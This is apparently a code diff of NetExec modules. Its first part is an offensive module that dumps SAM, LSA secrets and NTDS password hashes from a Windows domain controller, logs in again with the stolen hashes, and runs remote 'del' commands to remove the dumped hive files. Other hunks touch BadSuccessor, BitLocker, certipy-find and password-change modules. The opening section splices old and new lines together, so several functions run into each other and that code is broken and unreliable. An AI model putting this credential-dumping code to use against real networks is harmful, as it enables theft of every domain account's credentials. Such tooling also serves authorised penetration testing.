||||
sam_hashes.finish()
|
||||
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
|
||||
|
||||
dump_creds = None
|
||||
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
|
||||
if self._try_dump_ntds(connection, context, username, user_hash):
|
||||
dump_creds = (username, user_hash)
|
||||
break
|
||||
|
||||
if dump_creds:
|
||||
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
|
||||
if not self.cleanup_user or not self.cleanup_hash:
|
||||
self.cleanup_user, self.cleanup_hash = dump_creds
|
||||
|
||||
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
|
||||
else:
|
||||
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
|
||||
def _try_dump_ntds(self, connection, context, username, user_hash):
|
||||
if not username or not user_hash:
|
||||
return False
|
||||
with contextlib.suppress(Exception):
|
||||
if self.domain_admin:
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
try:
|
||||
context.log.display(f"Dumping NTDS using {username}...")
|
||||
connection.ntds()
|
||||
return True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
|
||||
return False
|
||||
|
||||
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
|
||||
if not username or not user_hash:
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
return
|
||||
context.log.display(f"Using {username} to clean up files...")
|
||||
with contextlib.suppress(Exception):
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
|
||||
hives = ["SAM", "SECURITY", "SYSTEM"]
|
||||
all_deleted = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
|
||||
try:
|
||||
connection.conn.deleteFile("SYSVOL", remote_name)
|
||||
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
|
||||
except SessionError as e:
|
||||
if "STATUS_NO_SUCH_FILE" in str(e):
|
||||
context.log.debug(f"File {remote_name} already removed or not found.")
|
||||
continue
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
|
||||
try:
|
||||
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
continue
|
||||
except Exception as exec_err:
|
||||
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
|
||||
all_deleted = False
|
||||
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
|
||||
context.log.display("Dumping NTDS...")
|
||||
connection.ntds()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS: {e!s}")
|
||||
|
||||
if all_deleted:
|
||||
double_check = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
try:
|
||||
if connection.conn.listPath("SYSVOL", remote_name):
|
||||
double_check = False
|
||||
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
except SessionError:
|
||||
pass
|
||||
if double_check:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
return
|
||||
out = connection.conn.listPath("SYSVOL", hive)
|
||||
if out:
|
||||
self.deleted_files = False
|
||||
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"File {hive} successfully removed: {e}")
|
||||
else:
|
||||
self.deleted_files = False
|
||||
else:
|
||||
self.deleted_files = False
|
||||
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
if not self.deleted_files:
|
||||
context.log.display("Use the domain admin account to clean the file on the remote host")
|
||||
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
|
||||
def _extract_da_hash(self, output_filename, context):
|
||||
def trigger_winreg(self, connection, context):
|
||||
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
|
||||
# Basically triggers the RemoteRegistry to start without admin privs
|
||||
tid = connection.connectTree("IPC$")
|
||||
try:
|
||||
with open(f"{output_filename}.ntds") as f:
|
||||
fallback = None
|
||||
for line in f:
|
||||
fields = line.strip().split(":")
|
||||
if len(fields) < 4 or not fields[3]:
|
||||
continue
|
||||
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
|
||||
if fields[1] == "500":
|
||||
return da_user, fields[3]
|
||||
if fallback is None:
|
||||
fallback = (da_user, fields[3])
|
||||
if fallback:
|
||||
return fallback
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
|
||||
return None, None
|
||||
|
||||
def _print_cleanup_warning(self, context, rand_suffix):
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
|
||||
connection.openFile(
|
||||
tid,
|
||||
r"\winreg",
|
||||
0x12019F,
|
||||
creationOption=0x40,
|
||||
fileAttributes=0x80,
|
||||
)
|
||||
except SessionError as e:
|
||||
# STATUS_PIPE_NOT_AVAILABLE error is expected
|
||||
context.log.debug(str(e))
|
||||
# Give remote registry time to start
|
||||
time.sleep(1)
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
|
||||
+21
-16
@@ -1,5 +1,4 @@
|
||||
from impacket.ldap import ldaptypes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
|
||||
@@ -80,7 +79,6 @@ class NXCModule:
|
||||
name = "badsuccessor"
|
||||
description = "Check if vulnerable to bad successor attack (DMSA)"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -94,9 +92,10 @@ class NXCModule:
|
||||
return True
|
||||
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
|
||||
|
||||
def get_domain_sid(self):
|
||||
def get_domain_sid(self, ldap_session, base_dn):
|
||||
"""Retrieve the domain SID from the domain object in LDAP"""
|
||||
r = self.connection.search(
|
||||
r = ldap_session.search(
|
||||
searchBase=base_dn,
|
||||
searchFilter="(objectClass=domain)",
|
||||
attributes=["objectSid"]
|
||||
)
|
||||
@@ -104,8 +103,8 @@ class NXCModule:
|
||||
if parsed and "objectSid" in parsed[0]:
|
||||
return parsed[0]["objectSid"]
|
||||
|
||||
def find_bad_successor_ous(self, entries):
|
||||
domain_sid = self.get_domain_sid()
|
||||
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
|
||||
domain_sid = self.get_domain_sid(ldap_session, base_dn)
|
||||
results = {}
|
||||
parsed = parse_result_attributes(entries)
|
||||
for entry in parsed:
|
||||
@@ -145,13 +144,15 @@ class NXCModule:
|
||||
results.setdefault(owner_sid, []).append(dn)
|
||||
return results
|
||||
|
||||
def resolve_sid_to_name(self, sid):
|
||||
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
|
||||
"""
|
||||
Resolves a SID to a samAccountName using LDAP
|
||||
|
||||
Args:
|
||||
----
|
||||
ldap_session: The LDAP connection
|
||||
sid: The SID to resolve
|
||||
base_dn: The base DN for the LDAP search
|
||||
|
||||
Returns:
|
||||
-------
|
||||
@@ -159,7 +160,8 @@ class NXCModule:
|
||||
"""
|
||||
try:
|
||||
search_filter = f"(objectSid={sid})"
|
||||
response = self.connection.search(
|
||||
response = ldap_session.search(
|
||||
searchBase=base_dn,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"]
|
||||
)
|
||||
@@ -172,10 +174,9 @@ class NXCModule:
|
||||
return sid
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.connection = connection
|
||||
|
||||
# Check for a domain controller with Windows Server 2025
|
||||
resp = self.connection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchBase=connection.ldap_connection._baseDN,
|
||||
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
|
||||
attributes=["operatingSystem", "dNSHostName"]
|
||||
)
|
||||
@@ -191,15 +192,15 @@ class NXCModule:
|
||||
|
||||
# Enumerate dMSA objects
|
||||
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
|
||||
resp = self.connection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchBase=connection.ldap_connection._baseDN,
|
||||
searchFilter="(objectClass=organizationalUnit)",
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=controls
|
||||
)
|
||||
searchControls=controls) # Fixed parameter name
|
||||
|
||||
context.log.debug(f"Found {len(resp)} entries")
|
||||
|
||||
results = self.find_bad_successor_ous(resp)
|
||||
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
|
||||
|
||||
if results:
|
||||
context.log.success(f"Found {len(results)} results")
|
||||
@@ -207,7 +208,11 @@ class NXCModule:
|
||||
context.log.highlight("No account found")
|
||||
|
||||
for sid, ous in results.items():
|
||||
samaccountname = self.resolve_sid_to_name(sid)
|
||||
samaccountname = self.resolve_sid_to_name(
|
||||
connection.ldap_connection,
|
||||
sid,
|
||||
connection.ldap_connection._baseDN
|
||||
)
|
||||
|
||||
for ou in ous:
|
||||
if sid == samaccountname:
|
||||
|
||||
+139
-116
@@ -1,116 +1,139 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
|
||||
# creating a second DCOMConnection to the same target (whose disconnect
|
||||
# would clash with the protocol's own)
|
||||
try:
|
||||
iWbemLevel1Login = self.connection.iWbemLevel1Login
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
else:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
@@ -1,140 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module made by: @NeffIsBack, @gatariee"""
|
||||
name = "certipy-find"
|
||||
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
VULN Show only vulnerable configurations (Default: True)
|
||||
ENABLED Show only enabled templates
|
||||
|
||||
Export options:
|
||||
TEXT Export results to a plain text file
|
||||
CSV Export results to a CSV file
|
||||
JSON Export results to a JSON file
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
|
||||
if "VULN" in module_options:
|
||||
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
|
||||
if "ENABLED" in module_options:
|
||||
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
|
||||
|
||||
# Export options
|
||||
if "JSON" in module_options:
|
||||
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
|
||||
if "CSV" in module_options:
|
||||
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
|
||||
if "TEXT" in module_options:
|
||||
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dns_server = connection.args.dns_server
|
||||
if not dns_server:
|
||||
try:
|
||||
# If connection.host is an IP, use it as DNS
|
||||
socket.inet_aton(connection.host)
|
||||
dns_server = connection.host
|
||||
except Exception:
|
||||
# Otherwise let DnsResolver use system resolver (None)
|
||||
dns_server = None
|
||||
|
||||
resolv = DnsResolver.create(dns_server)
|
||||
|
||||
# prefer connection.hostname if present, otherwise connection.host
|
||||
remote = (connection.hostname or connection.host) or ""
|
||||
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
|
||||
|
||||
target = Target(
|
||||
resolver=resolv,
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=connection.remoteName,
|
||||
hashes=f"{connection.lmhash}:{connection.nthash}",
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aes=connection.aesKey,
|
||||
dc_ip=connection.kdcHost,
|
||||
target_ip=connection.host,
|
||||
ldap_port=connection.port,
|
||||
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
|
||||
ldap_signing=connection.signing_required,
|
||||
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
|
||||
)
|
||||
|
||||
finder = Find(
|
||||
target=target,
|
||||
json=self.json,
|
||||
csv=self.csv,
|
||||
text=self.text,
|
||||
output_path=self.output_path,
|
||||
stdout=True,
|
||||
vulnerable=self.vuln,
|
||||
enabled=self.enabled,
|
||||
)
|
||||
|
||||
# Get templates and CAs
|
||||
templates = finder.get_certificate_templates()
|
||||
cas = finder.get_certificate_authorities()
|
||||
finder._link_cas_and_templates(cas, templates)
|
||||
|
||||
# Get OIDs
|
||||
oids = finder.get_issuance_policies()
|
||||
|
||||
# Process information
|
||||
finder._link_templates_and_policies(templates, oids)
|
||||
finder._process_ca_properties(cas)
|
||||
finder._process_template_properties(templates)
|
||||
|
||||
output = finder.get_output_for_text_and_json(templates, cas, oids)
|
||||
pretty_print(output, print_func=context.log.highlight)
|
||||
|
||||
# Save to disk if any export option specified
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
if self.json:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
indent=2,
|
||||
default=str,
|
||||
)
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
f.write(template_output)
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -1,8 +1,6 @@
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -14,7 +12,6 @@ class NXCModule:
|
||||
name = "change-password"
|
||||
description = "Change or reset user passwords via various protocols"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -27,7 +24,7 @@ class NXCModule:
|
||||
|
||||
Examples
|
||||
--------
|
||||
If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user)
|
||||
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
|
||||
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
|
||||
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
|
||||
|
||||
@@ -46,21 +43,31 @@ class NXCModule:
|
||||
def authenticate(self, context, connection, protocol, anonymous=False):
|
||||
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
|
||||
try:
|
||||
# Map to the SAMR endpoint on the target
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
if anonymous:
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
dce = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
samr.MSRPC_UUID_SAMR,
|
||||
string_binding=string_binding,
|
||||
set_remote_host=connection.host,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
rpctransport.set_credentials("", "", "", "", "", "")
|
||||
rpctransport.set_kerberos(False, None)
|
||||
context.log.info("Connecting with null session credentials.")
|
||||
else:
|
||||
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
|
||||
|
||||
# Connect to the DCE/RPC endpoint and bind to the SAMR service
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
context.log.info("[+] Successfully connected to DCE/RPC")
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
context.log.info("[+] Successfully bound to SAMR")
|
||||
return dce
|
||||
except DCERPCException as e:
|
||||
@@ -86,12 +93,14 @@ class NXCModule:
|
||||
new_nthash = self.newhash
|
||||
|
||||
try:
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
|
||||
self.anonymous = False
|
||||
